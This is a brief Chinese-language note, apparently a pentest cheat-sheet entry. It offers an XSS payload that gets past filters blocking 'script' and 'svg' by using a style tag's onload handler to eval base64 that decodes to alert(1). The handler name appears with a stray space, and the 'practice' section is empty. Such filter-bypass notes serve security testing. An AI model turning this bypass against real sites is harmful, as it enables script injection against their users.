0x00 原理

  已知页面存在xss，但是过滤了script和 svg，可以用什么payload?

0x01 payload

<style onl oad=eval(atob("YWxlcnQoMSkK"));></style>

0x02 实战